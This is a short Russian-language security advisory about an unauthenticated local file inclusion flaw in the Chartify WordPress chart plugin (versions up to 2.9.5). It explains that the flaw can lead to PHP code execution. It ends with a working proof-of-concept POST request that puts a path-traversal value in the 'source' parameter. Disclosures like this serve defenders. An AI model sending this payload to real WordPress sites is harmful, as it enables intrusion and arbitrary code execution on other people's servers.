
Chartify – WordPress Chart Plugin <= 2.9.5 - Неаутентифицированное локальное включение файла через source
Chartify – WordPress Chart Plugin <= 2.9.5 - Неаутентифицированное локальное включение файлов через параметр source
Плагин Chartify – WordPress Chart Plugin для WordPress уязвим к локальному включению файлов во всех версиях до 2.9.5 включительно через параметр 'source'. Это позволяет неаутентифицированным злоумышленникам включать и выполнять произвольные файлы на сервере, что позволяет выполнять любой PHP-код в этих файлах. Это можно использовать для обхода контроля доступа, получения конфиденциальных данных или выполнения кода в случаях, когда можно загружать и включать изображения и другие «безопасные» типы файлов.
POST /wp-admin/admin-ajax.php?action=add&source=../../../../../../../../../../../../var/www/html/poc&type=chart-js HTTP/1.1
Host: wp.local
Content-Length: 63
Content-Type: application/x-www-form-urlencoded
action=ays_chart_admin_ajax&function=display_plugin_charts_page